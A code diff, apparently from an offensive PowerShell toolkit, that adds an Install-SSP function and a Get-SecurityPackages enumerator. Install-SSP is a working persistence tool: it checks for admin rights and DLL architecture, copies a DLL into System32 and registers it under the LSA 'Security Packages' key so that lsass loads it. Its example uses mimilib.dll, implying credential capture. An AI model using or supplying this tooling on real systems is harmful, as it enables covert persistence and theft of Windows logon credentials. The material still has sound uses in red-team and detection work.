@@ -697,4 +697,298 @@ $UserTriggerRemoval
697
697
}
698
698
699
699
# endregion
700
+ }
701
+
702
+ function Install-SSP
703
+ {
704
+ <#
705
+ . SYNOPSIS
706
+
707
+ Installs a security support provider (SSP) dll.
708
+
709
+ Author: Matthew Graeber (@mattifestation)
710
+ License: BSD 3-Clause
711
+ Required Dependencies: None
712
+ Optional Dependencies: None
713
+
714
+ . DESCRIPTION
715
+
716
+ Install-SSP installs an SSP dll. Installation involves copying the dll to
717
+ %windir%\System32 and adding the name of the dll to
718
+ HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages.
719
+
720
+ . PARAMETER Remove
721
+
722
+ Specifies the path to the SSP dll you would like to install.
723
+
724
+ . EXAMPLE
725
+
726
+ Install-SSP -Path .\mimilib.dll
727
+
728
+ . NOTES
729
+
730
+ The SSP dll must match the OS architecture. i.e. You must have a 64-bit SSP dll
731
+ if you are running a 64-bit OS. In order for the SSP dll to be loaded properly
732
+ into lsass, the dll must export SpLsaModeInitialize.
733
+ #>
734
+
735
+ [CmdletBinding ()] Param (
736
+ [ValidateScript ({Test-Path (Resolve-Path $_ )})]
737
+ [String ]
738
+ $Path
739
+ )
740
+
741
+ $Principal = [Security.Principal.WindowsPrincipal ][Security.Principal.WindowsIdentity ]::GetCurrent()
742
+
743
+ if (-not $Principal.IsInRole ([Security.Principal.WindowsBuiltInRole ]::Administrator))
744
+ {
745
+ throw ' Installing an SSP dll requires administrative rights. Execute this script from an elevated PowerShell prompt.'
746
+ }
747
+
748
+ # Resolve the full path if a relative path was provided.
749
+ $FullDllPath = Resolve-Path $Path
750
+
751
+ # Helper function used to determine the dll architecture
752
+ function local :Get-PEArchitecture
753
+ {
754
+ Param
755
+ (
756
+ [Parameter ( Position = 0 ,
757
+ Mandatory = $True )]
758
+ [String ]
759
+ $Path
760
+ )
761
+
762
+ # Parse PE header to see if binary was compiled 32 or 64-bit
763
+ $FileStream = New-Object System.IO.FileStream($Path , [System.IO.FileMode ]::Open, [System.IO.FileAccess ]::Read)
764
+
765
+ [Byte []] $MZHeader = New-Object Byte[](2 )
766
+ $FileStream.Read ($MZHeader , 0 , 2 ) | Out-Null
767
+
768
+ $Header = [System.Text.AsciiEncoding ]::ASCII.GetString($MZHeader )
769
+ if ($Header -ne ' MZ' )
770
+ {
771
+ $FileStream.Close ()
772
+ Throw ' Invalid PE header.'
773
+ }
774
+
775
+ # Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header)
776
+ $FileStream.Seek (0x3c , [System.IO.SeekOrigin ]::Begin ) | Out-Null
777
+
778
+ [Byte []] $lfanew = New-Object Byte[](4 )
779
+
780
+ # Read offset to the PE Header (will be read in reverse)
781
+ $FileStream.Read ($lfanew , 0 , 4 ) | Out-Null
782
+ $PEOffset = [Int ] (' 0x{0}' -f (( $lfanew [-1 .. -4 ] | % { $_.ToString (' X2' ) } ) -join ' ' ))
783
+
784
+ # Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE
785
+ $FileStream.Seek ($PEOffset + 4 , [System.IO.SeekOrigin ]::Begin ) | Out-Null
786
+ [Byte []] $IMAGE_FILE_MACHINE = New-Object Byte[](2 )
787
+
788
+ # Read compiled architecture
789
+ $FileStream.Read ($IMAGE_FILE_MACHINE , 0 , 2 ) | Out-Null
790
+ $Architecture = ' {0}' -f (( $IMAGE_FILE_MACHINE [-1 .. -2 ] | % { $_.ToString (' X2' ) } ) -join ' ' )
791
+ $FileStream.Close ()
792
+
793
+ if (($Architecture -ne ' 014C' ) -and ($Architecture -ne ' 8664' ))
794
+ {
795
+ Throw ' Invalid PE header or unsupported architecture.'
796
+ }
797
+
798
+ if ($Architecture -eq ' 014C' )
799
+ {
800
+ Write-Output ' 32-bit'
801
+ }
802
+ elseif ($Architecture -eq ' 8664' )
803
+ {
804
+ Write-Output ' 64-bit'
805
+ }
806
+ else
807
+ {
808
+ Write-Output ' Other'
809
+ }
810
+ }
811
+
812
+ $DllArchitecture = Get-PEArchitecture $FullDllPath
813
+
814
+ $OSArch = Get-WmiObject Win32_OperatingSystem | Select-Object - ExpandProperty OSArchitecture
815
+
816
+ if ($DllArchitecture -ne $OSArch )
817
+ {
818
+ throw ' The operating system architecture must match the architecture of the SSP dll.'
819
+ }
820
+
821
+ $Dll = Get-Item $FullDllPath | Select-Object - ExpandProperty Name
822
+
823
+ # Get the dll filename without the extension.
824
+ # This will be added to the registry.
825
+ $DllName = $Dll | % { % {($_ -split ' \.' )[0 ]} }
826
+
827
+ # Enumerate all of the currently installed SSPs
828
+ $SecurityPackages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa - Name ' Security Packages' |
829
+ Select-Object - ExpandProperty ' Security Packages'
830
+
831
+ if ($SecurityPackages -contains $DllName )
832
+ {
833
+ throw " '$DllName ' is already present in HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages."
834
+ }
835
+
836
+ # In case you're running 32-bit PowerShell on a 64-bit OS
837
+ $NativeInstallDir = " $ ( $Env: windir ) \Sysnative"
838
+
839
+ if (Test-Path $NativeInstallDir )
840
+ {
841
+ $InstallDir = $NativeInstallDir
842
+ }
843
+ else
844
+ {
845
+ $InstallDir = " $ ( $Env: windir ) \System32"
846
+ }
847
+
848
+ if (Test-Path (Join-Path $InstallDir $Dll ))
849
+ {
850
+ throw " $Dll is already installed in $InstallDir ."
851
+ }
852
+
853
+ # If you've made it this far, you are clear to install the SSP dll.
854
+ Copy-Item $FullDllPath $InstallDir
855
+
856
+ $SecurityPackages += $DllName
857
+
858
+ Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa - Name ' Security Packages' - Value $SecurityPackages
859
+
860
+ Write-Verbose ' Installation complete! Reboot for changes to take effect.'
861
+ }
862
+
863
+ function Get-SecurityPackages
864
+ {
865
+ <#
866
+ . SYNOPSIS
867
+
868
+ Enumerates all loaded security packages (SSPs).
869
+
870
+ Author: Matthew Graeber (@mattifestation)
871
+ License: BSD 3-Clause
872
+ Required Dependencies: None
873
+ Optional Dependencies: None
874
+
875
+ . DESCRIPTION
876
+
877
+ Get-SecurityPackages is a wrapper for secur32!EnumerateSecurityPackages.
878
+ It also parses the returned SecPkgInfo struct array.
879
+
880
+ . EXAMPLE
881
+
882
+ Get-SecurityPackages
883
+ #>
884
+
885
+ [CmdletBinding ()] Param ()
886
+
887
+ # region P/Invoke declarations for secur32.dll
888
+ $DynAssembly = New-Object System.Reflection.AssemblyName(' SSPI' )
889
+ $AssemblyBuilder = [AppDomain ]::CurrentDomain.DefineDynamicAssembly($DynAssembly , [Reflection.Emit.AssemblyBuilderAccess ]::Run)
890
+ $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule (' SSPI' , $False )
891
+
892
+ $FlagsConstructor = [FlagsAttribute ].GetConstructor(@ ())
893
+ $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor , @ ())
894
+ $StructAttributes = ' AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
895
+
896
+ $EnumBuilder = $ModuleBuilder.DefineEnum (' SSPI.SECPKG_FLAG' , ' Public' , [Int32 ])
897
+ $EnumBuilder.SetCustomAttribute ($FlagsCustomAttribute )
898
+ $null = $EnumBuilder.DefineLiteral (' INTEGRITY' , 1 )
899
+ $null = $EnumBuilder.DefineLiteral (' PRIVACY' , 2 )
900
+ $null = $EnumBuilder.DefineLiteral (' TOKEN_ONLY' , 4 )
901
+ $null = $EnumBuilder.DefineLiteral (' DATAGRAM' , 8 )
902
+ $null = $EnumBuilder.DefineLiteral (' CONNECTION' , 0x10 )
903
+ $null = $EnumBuilder.DefineLiteral (' MULTI_REQUIRED' , 0x20 )
904
+ $null = $EnumBuilder.DefineLiteral (' CLIENT_ONLY' , 0x40 )
905
+ $null = $EnumBuilder.DefineLiteral (' EXTENDED_ERROR' , 0x80 )
906
+ $null = $EnumBuilder.DefineLiteral (' IMPERSONATION' , 0x100 )
907
+ $null = $EnumBuilder.DefineLiteral (' ACCEPT_WIN32_NAME' , 0x200 )
908
+ $null = $EnumBuilder.DefineLiteral (' STREAM' , 0x400 )
909
+ $null = $EnumBuilder.DefineLiteral (' NEGOTIABLE' , 0x800 )
910
+ $null = $EnumBuilder.DefineLiteral (' GSS_COMPATIBLE' , 0x1000 )
911
+ $null = $EnumBuilder.DefineLiteral (' LOGON' , 0x2000 )
912
+ $null = $EnumBuilder.DefineLiteral (' ASCII_BUFFERS' , 0x4000 )
913
+ $null = $EnumBuilder.DefineLiteral (' FRAGMENT' , 0x8000 )
914
+ $null = $EnumBuilder.DefineLiteral (' MUTUAL_AUTH' , 0x10000 )
915
+ $null = $EnumBuilder.DefineLiteral (' DELEGATION' , 0x20000 )
916
+ $null = $EnumBuilder.DefineLiteral (' READONLY_WITH_CHECKSUM' , 0x40000 )
917
+ $null = $EnumBuilder.DefineLiteral (' RESTRICTED_TOKENS' , 0x80000 )
918
+ $null = $EnumBuilder.DefineLiteral (' NEGO_EXTENDER' , 0x100000 )
919
+ $null = $EnumBuilder.DefineLiteral (' NEGOTIABLE2' , 0x200000 )
920
+ $null = $EnumBuilder.DefineLiteral (' APPCONTAINER_PASSTHROUGH' , 0x400000 )
921
+ $null = $EnumBuilder.DefineLiteral (' APPCONTAINER_CHECKS' , 0x800000 )
922
+ $SECPKG_FLAG = $EnumBuilder.CreateType ()
923
+
924
+ $TypeBuilder = $ModuleBuilder.DefineType (' SSPI.SecPkgInfo' , $StructAttributes , [Object ], [Reflection.Emit.PackingSize ]::Size8)
925
+ $null = $TypeBuilder.DefineField (' fCapabilities' , $SECPKG_FLAG , ' Public' )
926
+ $null = $TypeBuilder.DefineField (' wVersion' , [Int16 ], ' Public' )
927
+ $null = $TypeBuilder.DefineField (' wRPCID' , [Int16 ], ' Public' )
928
+ $null = $TypeBuilder.DefineField (' cbMaxToken' , [Int32 ], ' Public' )
929
+ $null = $TypeBuilder.DefineField (' Name' , [IntPtr ], ' Public' )
930
+ $null = $TypeBuilder.DefineField (' Comment' , [IntPtr ], ' Public' )
931
+ $SecPkgInfo = $TypeBuilder.CreateType ()
932
+
933
+ $TypeBuilder = $ModuleBuilder.DefineType (' SSPI.Secur32' , ' Public, Class' )
934
+ $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod (' EnumerateSecurityPackages' ,
935
+ ' secur32.dll' ,
936
+ ' Public, Static' ,
937
+ [Reflection.CallingConventions ]::Standard,
938
+ [Int32 ],
939
+ [Type []] @ ([Int32 ].MakeByRefType(),
940
+ [IntPtr ].MakeByRefType()),
941
+ [Runtime.InteropServices.CallingConvention ]::Winapi,
942
+ [Runtime.InteropServices.CharSet ]::Ansi)
943
+
944
+ $Secur32 = $TypeBuilder.CreateType ()
945
+
946
+ $PackageCount = 0
947
+ $PackageArrayPtr = [IntPtr ]::Zero
948
+ $Result = $Secur32 ::EnumerateSecurityPackages([Ref ] $PackageCount , [Ref ] $PackageArrayPtr )
949
+
950
+ if ($Result -ne 0 )
951
+ {
952
+ throw " Unable to enumerate seucrity packages. Error (0x$ ( $Result.ToString (' X8' )) )"
953
+ }
954
+
955
+ if ($PackageCount -eq 0 )
956
+ {
957
+ Write-Verbose ' There are no installed security packages.'
958
+ return
959
+ }
960
+
961
+ $StructAddress = $PackageArrayPtr
962
+
963
+ foreach ($i in 1 .. $PackageCount )
964
+ {
965
+ $SecPackageStruct = [Runtime.InteropServices.Marshal ]::PtrToStructure($StructAddress , [Type ] $SecPkgInfo )
966
+ $StructAddress = [IntPtr ] ($StructAddress.ToInt64 () + [Runtime.InteropServices.Marshal ]::SizeOf([Type ] $SecPkgInfo ))
967
+
968
+ $Name = $null
969
+
970
+ if ($SecPackageStruct.Name -ne [IntPtr ]::Zero)
971
+ {
972
+ $Name = [Runtime.InteropServices.Marshal ]::PtrToStringAnsi($SecPackageStruct.Name )
973
+ }
974
+
975
+ $Comment = $null
976
+
977
+ if ($SecPackageStruct.Comment -ne [IntPtr ]::Zero)
978
+ {
979
+ $Comment = [Runtime.InteropServices.Marshal ]::PtrToStringAnsi($SecPackageStruct.Comment )
980
+ }
981
+
982
+ $Attributes = @ {
983
+ Name = $Name
984
+ Comment = $Comment
985
+ Capabilities = $SecPackageStruct.fCapabilities
986
+ MaxTokenSize = $SecPackageStruct.cbMaxToken
987
+ }
988
+
989
+ $SecPackage = New-Object PSObject - Property $Attributes
990
+ $SecPackage.PSObject.TypeNames [0 ] = ' SECUR32.SECPKGINFO'
991
+
992
+ $SecPackage
993
+ }
700
994
}
0 commit comments